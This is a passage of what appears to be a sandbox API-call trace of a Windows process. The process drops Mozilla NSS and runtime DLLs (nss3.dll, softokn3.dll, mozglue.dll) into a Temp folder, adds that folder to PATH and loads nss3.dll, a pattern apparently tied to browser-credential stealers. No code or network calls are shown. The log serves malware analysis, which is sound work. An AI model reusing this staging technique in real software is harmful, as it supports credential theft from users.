dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.701] WriteFile (in: hFile=0xe8, lpBuffer=0x2334ca0*, nNumberOfBytesToWrite=0x5bc0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2334ca0*, lpNumberOfBytesWritten=0x18e5c4*=0x5bc0, lpOverlapped=0x0) returned 1 [0060.702] CloseHandle (hObject=0xe8) returned 1 [0060.703] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x234080c, cbMultiByte=30, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-time-l1-1-0.dlllllllll.dll.dll") returned 30 [0060.703] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.704] VirtualAlloc (lpAddress=0x2344000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2344000 [0060.704] WriteFile (in: hFile=0xe8, lpBuffer=0x2340838*, nNumberOfBytesToWrite=0x5138, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2340838*, lpNumberOfBytesWritten=0x18e5c4*=0x5138, lpOverlapped=0x0) returned 1 [0060.705] CloseHandle (hObject=0xe8) returned 1 [0060.706] VirtualFree (lpAddress=0x2344000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.706] VirtualAlloc (lpAddress=0x2344000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2344000 [0060.706] VirtualFree (lpAddress=0x2338000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2340838, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-crt-utility-l1-1-0.dllllll.dll.dll") returned 33 [0060.708] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.724] WriteFile (in: hFile=0xe8, lpBuffer=0x23451b0*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x23451b0*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0064.754] CloseHandle (hObject=0xe8) returned 1 [0064.756] VirtualFree (lpAddress=0x2348000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0064.756] VirtualAlloc (lpAddress=0x2348000, dwSize=0x54000, flAllocationType=0x1000, flProtect=0x4) returned 0x2348000 [0064.761] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0064.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x45350cc, cbMultiByte=11, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="freebl3.dllcrt-utility-l1-1-0.dllllll.dll.dll") returned 11 [0064.761] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/freebl3.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\freebl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0064.762] VirtualAlloc (lpAddress=0x239c000, dwSize=0x54000, flAllocationType=0x1000, flProtect=0x4) returned 0x239c000 [0064.763] VirtualFree (lpAddress=0x2398000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0064.767] WriteFile (in: hFile=0xe8, lpBuffer=0x239c00c*, nNumberOfBytesToWrite=0x513d0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x239c00c*, lpNumberOfBytesWritten=0x18e5c4*=0x513d0, lpOverlapped=0x0) returned 1 [0064.772] CloseHandle (hObject=0xe8) returned 1 [0064.775] VirtualFree (lpAddress=0x239c000, dwSize=0x54000, dwFreeType=0x4000) returned 1 [0064.777] VirtualAlloc (lpAddress=0x2398000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x2398000 [0064.779] VirtualFree (lpAddress=0x2344000, dwSize=0x50000, dwFreeType=0x4000) returned 1 [0064.781] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2396590, cbMultiByte=11, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="mozglue.dllcrt-utility-l1-1-0.dllllll.dll.dll") returned 11 [0064.781] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/mozglue.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\mozglue.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0064.781] VirtualAlloc (lpAddress=0x2338000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x2338000 [0064.783] WriteFile (in: hFile=0xe8, lpBuffer=0x2334ca0*, nNumberOfBytesToWrite=0x21fd0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2334ca0*, lpNumberOfBytesWritten=0x18e5c4*=0x21fd0, lpOverlapped=0x0) returned 1 [0064.786] CloseHandle (hObject=0xe8) returned 1 [0064.787] VirtualFree (lpAddress=0x2338000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0064.788] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x46b0000 [0064.788] VirtualAlloc (lpAddress=0x46b0000, dwSize=0x60000, flAllocationType=0x1000, flProtect=0x4) returned 0x46b0000 [0064.789] VirtualAlloc (lpAddress=0x46a4000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x46a4000 [0064.795] VirtualFree (lpAddress=0x2394000, dwSize=0x28000, dwFreeType=0x4000) returned 1 [0064.796] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x453984c, cbMultiByte=12, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="msvcp140.dllrt-utility-l1-1-0.dllllll.dll.dll") returned 12 [0064.796] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/msvcp140.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0064.807] VirtualAlloc (lpAddress=0x2338000, dwSize=0x6c000, flAllocationType=0x1000, flProtect=0x4) returned 0x2338000 [0064.812] WriteFile (in: hFile=0xe8, lpBuffer=0x2334ca0*, nNumberOfBytesToWrite=0x6b738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2334ca0*, lpNumberOfBytesWritten=0x18e5c4*=0x6b738, lpOverlapped=0x0) returned 1 [0064.819] CloseHandle (hObject=0xe8) returned 1 [0064.823] VirtualFree (lpAddress=0x2338000, dwSize=0x6c000, dwFreeType=0x4000) returned 1 [0064.825] VirtualAlloc (lpAddress=0x0, dwSize=0x130000, flAllocationType=0x2000, flProtect=0x1) returned 0x47b0000 [0064.825] VirtualAlloc (lpAddress=0x47b0000, dwSize=0x90000, flAllocationType=0x1000, flProtect=0x4) returned 0x47b0000 [0064.827] VirtualAlloc (lpAddress=0x4710000, dwSize=0xa0000, flAllocationType=0x1000, flProtect=0x4) returned 0x4710000 [0064.845] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/nss3.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\nss3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0064.884] VirtualAlloc (lpAddress=0x0, dwSize=0x130000, flAllocationType=0x2000, flProtect=0x1) returned 0x48e0000 [0064.885] VirtualAlloc (lpAddress=0x48e0000, dwSize=0x90000, flAllocationType=0x1000, flProtect=0x4) returned 0x48e0000 [0064.886] VirtualAlloc (lpAddress=0x4840000, dwSize=0xa0000, flAllocationType=0x1000, flProtect=0x4) returned 0x4840000 [0064.967] VirtualAlloc (lpAddress=0x4840000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x4840000 [0064.975] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/nssdbm3.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\nssdbm3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0064.976] VirtualAlloc (lpAddress=0x47b0000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x47b0000 [0064.977] WriteFile (in: hFile=0xe8, lpBuffer=0x47b000c*, nNumberOfBytesToWrite=0x169d0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x47b000c*, lpNumberOfBytesWritten=0x18e5c4*=0x169d0, lpOverlapped=0x0) returned 1 [0064.979] CloseHandle (hObject=0xe8) returned 1 [0064.980] VirtualFree (lpAddress=0x47b0000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0064.981] VirtualAlloc (lpAddress=0x47b0000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x47b0000 [0064.983] VirtualFree (lpAddress=0x483c000, dwSize=0x1c000, dwFreeType=0x4000) returned 1 [0064.984] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x453984c, cbMultiByte=12, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="softokn3.dllrt-utility-l1-1-0.dllllll.dll.dll") returned 12 [0064.984] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/softokn3.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\softokn3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0064.984] VirtualAlloc (lpAddress=0x47d4000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x47d4000 [0064.987] WriteFile (in: hFile=0xe8, lpBuffer=0x47d33ec*, nNumberOfBytesToWrite=0x233d0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x47d33ec*, lpNumberOfBytesWritten=0x18e5c4*=0x233d0, lpOverlapped=0x0) returned 1 [0064.989] CloseHandle (hObject=0xe8) returned 1 [0064.991] VirtualFree (lpAddress=0x47d4000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0064.992] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x2000, flProtect=0x1) returned 0x48e0000 [0064.992] VirtualAlloc (lpAddress=0x48e0000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x48e0000 [0064.992] VirtualAlloc (lpAddress=0x47d4000, dwSize=0x10c000, flAllocationType=0x1000, flProtect=0x4) returned 0x47d4000 [0065.011] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/ucrtbase.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0065.011] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x2000, flProtect=0x1) returned 0x4a00000 [0065.012] VirtualAlloc (lpAddress=0x4a00000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4a00000 [0065.012] VirtualAlloc (lpAddress=0x48ec000, dwSize=0x114000, flAllocationType=0x1000, flProtect=0x4) returned 0x48ec000 [0065.059] VirtualAlloc (lpAddress=0x48ec000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x48ec000 [0065.067] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/vcruntime140.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0065.073] VirtualAlloc (lpAddress=0x4904000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x4904000 [0065.074] VirtualFree (lpAddress=0x4900000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.077] VirtualFree (lpAddress=0x48e8000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0065.077] VirtualFree (lpAddress=0x48e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0065.080] VirtualFree (lpAddress=0x452c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.080] VirtualFree (lpAddress=0x4530000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.080] VirtualFree (lpAddress=0x4534000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.081] VirtualFree (lpAddress=0x4538000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.081] VirtualFree (lpAddress=0x453c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.081] VirtualFree (lpAddress=0x4540000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.081] VirtualFree (lpAddress=0x454c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.082] VirtualFree (lpAddress=0x4550000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.082] VirtualFree (lpAddress=0x4554000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.082] VirtualFree (lpAddress=0x4558000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.082] VirtualFree (lpAddress=0x455c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.083] VirtualFree (lpAddress=0x4560000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0065.083] VirtualFree (lpAddress=0x456c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.083] VirtualFree (lpAddress=0x4570000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.083] VirtualFree (lpAddress=0x4574000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.083] VirtualFree (lpAddress=0x4578000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.084] VirtualFree (lpAddress=0x457c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.084] VirtualFree (lpAddress=0x4580000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.084] VirtualFree (lpAddress=0x4584000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.084] VirtualFree (lpAddress=0x3988000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0065.085] VirtualFree (lpAddress=0x39d0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.085] VirtualFree (lpAddress=0x39d4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.085] VirtualFree (lpAddress=0x39d8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.085] VirtualFree (lpAddress=0x39dc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.086] VirtualFree (lpAddress=0x39e0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.086] VirtualFree (lpAddress=0x39e4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0065.086] VirtualFree (lpAddress=0x39ec000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.086] VirtualFree (lpAddress=0x39f0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.087] VirtualFree (lpAddress=0x39f4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.087] VirtualFree (lpAddress=0x39f8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.087] VirtualFree (lpAddress=0x39fc000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0065.087] VirtualFree (lpAddress=0x3a04000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0065.088] VirtualFree (lpAddress=0x3a0c000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0065.088] VirtualFree (lpAddress=0x3a1c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.088] VirtualFree (lpAddress=0x3a20000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0065.089] VirtualFree (lpAddress=0x3a28000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0065.089] VirtualFree (lpAddress=0x3a34000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.089] VirtualFree (lpAddress=0x3a38000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.089] VirtualFree (lpAddress=0x3a3c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.090] VirtualFree (lpAddress=0x3a40000, dwSize=0x54000, dwFreeType=0x4000) returned 1 [0065.092] VirtualFree (lpAddress=0x3a94000, dwSize=0x24000, dwFreeType=0x4000) returned 1 [0065.093] VirtualFree (lpAddress=0x3abc000, dwSize=0x68000, dwFreeType=0x4000) returned 1 [0065.095] VirtualFree (lpAddress=0x3b24000, dwSize=0x130000, dwFreeType=0x4000) returned 1 [0065.100] VirtualFree (lpAddress=0x3c54000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0065.101] VirtualFree (lpAddress=0x3c6c000, dwSize=0x28000, dwFreeType=0x4000) returned 1 [0065.101] VirtualFree (lpAddress=0x4590000, dwSize=0x114000, dwFreeType=0x4000) returned 1 [0065.106] VirtualFree (lpAddress=0x4588000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0065.107] VirtualFree (lpAddress=0x4590000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0065.109] VirtualFree (lpAddress=0x2324000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0065.109] VirtualFree (lpAddress=0x4544000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0065.110] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bb04, cbMultiByte=8, lpWideCharStr=0x18d5f0, cchWideChar=2047 | out: lpWideCharStr="nss3.dlllll.dll.dll") returned 8 [0065.110] GetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\nss3.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\nss3.dll")) returned 0x2020 [0065.110] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x0, nSize=0x0 | out: lpBuffer=0x0) returned 0x64 [0065.110] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x65f5ac, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.110] SetEnvironmentVariableW (lpName="PATH", lpValue="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 1 [0065.110] SetCurrentDirectoryW (lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045")) returned 1 [0065.110] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bb04, cbMultiByte=8, lpWideCharStr=0x18d5e8, cchWideChar=2047 | out: lpWideCharStr="nss3.dll.dlllll.dll.dll") returned 8 [0065.111] LoadLibraryExW (lpLibFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\nss3.dll", hFile=0x0, dwFlags=0x8) returned 0x70d50000 [0070.677] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0070.677] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0070.677] GetLastError () returned 0x57 [0070.680] wcsncmp (_String1="api-ms-", _String2="api-ms-", _MaxCount=0x7) returned 0 [0070.680] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0070.680] GetLastError () returned 0x57 [0070.680] wcsncmp (_String1="kernel3", _String2="api-ms-", _MaxCount=0x7) returned 10 [0070.680] wcsncmp (_String1="kernel3", _String2="ext-ms-", _MaxCount=0x7) returned 6 [0070.680] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0070.681] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0070.681] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0070.681] GetLastError () returned 0x57 [0070.681] wcsncmp (_String1="api-ms-", _String2="api-ms-", _MaxCount=0x7) returned 0 [0070.681] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0070.681] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0070.682] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0070.682] _initialize_onexit_table (_Table=0x70c53a54) returned 0 [0070.682] _initialize_onexit_table (_Table=0x70c53a60) returned 0 [0070.682] RtlInitializeSListHead (in: ListHead=0x70c53a80 | out: ListHead=0x70c53a80) [0070.683] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0070.683] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0070.683] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0070.683] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0070.684] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0070.684] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0070.684] GetProcAddress (hModule=0x76c20000, lpProcName="InitOnceExecuteOnce") returned 0x76c4d627 [0070.684] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0070.684] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0070.684] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0070.685] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0070.685] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0070.685] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0070.685] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0070.685] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0070.685] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0070.686] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0070.686] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0070.686] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0070.686] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0070.686] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0070.686] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0070.687] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0070.687] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleEx") returned 0x76c4c78f [0070.687] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandle") returned 0x76c5cbfc [0070.687] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0070.687] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeConditionVariable") returned 0x77168456 [0070.687] GetProcAddress (hModule=0x76c20000, lpProcName="WakeConditionVariable") returned 0x771d7de4 [0070.687] GetProcAddress (hModule=0x76c20000, lpProcName="WakeAllConditionVariable") returned 0x7719409d [0070.688] GetProcAddress (hModule=0x76c20000, lpProcName="SleepConditionVariableCS") returned 0x76cb4b32 [0070.688] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSRWLock") returned 0x77168456 [0070.688] GetProcAddress (hModule=0x76c20000, lpProcName="AcquireSRWLockExclusive") returned 0x771629f1 [0070.688] GetProcAddress (hModule=0x76c20000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77174892 [0070.688] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseSRWLockExclusive") returned 0x771629ab [0070.688] GetProcAddress (hModule=0x76c20000, lpProcName="SleepConditionVariableSRW") returned 0x76cb4b74 [0070.689] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWork") returned 0x76c4ee45 [0070.689] GetProcAddress (hModule=0x76c20000, lpProcName="SubmitThreadpoolWork") returned 0x771a8491 [0070.689] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWork") returned 0x7719d8e2 [0070.689] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0070.689] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0070.689] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0070.689] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0070.690] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ec90) returned 0 [0070.690] __acrt_iob_func (param_1=0x2) returned 0x70be10d0 [0070.690] malloc (_Size=0x8) returned 0x690e18 [0070.692] _lock_locales () returned 0x0 [0070.692] malloc (_Size=0x20) returned 0x699a80 [0070.692] malloc (_Size=0x2) returned 0x690e28 [0070.693] free (_Block=0x690e28) [0070.693] malloc (_Size=0x2) returned 0x690e28 [0070.693] _unlock_locales () returned 0x0 [0070.693] _get_stream_buffer_pointers (in: _Stream=0x70be10d0, _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c | out: _Base=0x18e234, _Pointer=0x18e230, _Count=0x18e22c) returned 0x0 [0070.693] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2eca0) returned 0 [0070.693] malloc (_Size=0x8) returned 0x690e38 [0070.693] _lock_locales () returned 0x0 [0070.693] _unlock_locales () returned 0x0 [0070.693] _lock_locales () returned 0x0 [0070.693] _lock_locales () returned 0x0 [0070.693] _unlock_locales () returned 0x0 [0070.693] malloc (_Size=0x18) returned 0x68b458 [0070.693] _lock_locales () returned 0x0 [0070.694] setlocale (category=0, locale=0x0) returned="C" [0070.694] malloc (_Size=0x2) returned 0x690e58 [0070.694] setlocale (category=0, locale="C") returned="C" [0070.694] malloc (_Size=0x2) returned 0x690e48 [0070.694] ___lc_codepage_func () returned 0x0 [0070.694] _calloc_base (_Count=0x100, _Size=0x2) returned 0x69a810 [0070.694] __pctype_func () returned 0x70b14860 [0070.694] ___lc_locale_name_func () returned 0x69a7f0 [0070.694] setlocale (category=0, locale="C") returned="C" [0070.694] free (_Block=0x690e48) [0070.694] free (_Block=0x690e58) [0070.694] _unlock_locales () returned 0x0 [0070.694] malloc (_Size=0x8) returned 0x690e58 [0070.694] _unlock_locales () returned 0x0 [0070.694] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ecb0) returned 0 [0070.694] _register_onexit_function (_Table=0x70c53a54, _Function=0x70c2ecc0) returned 0 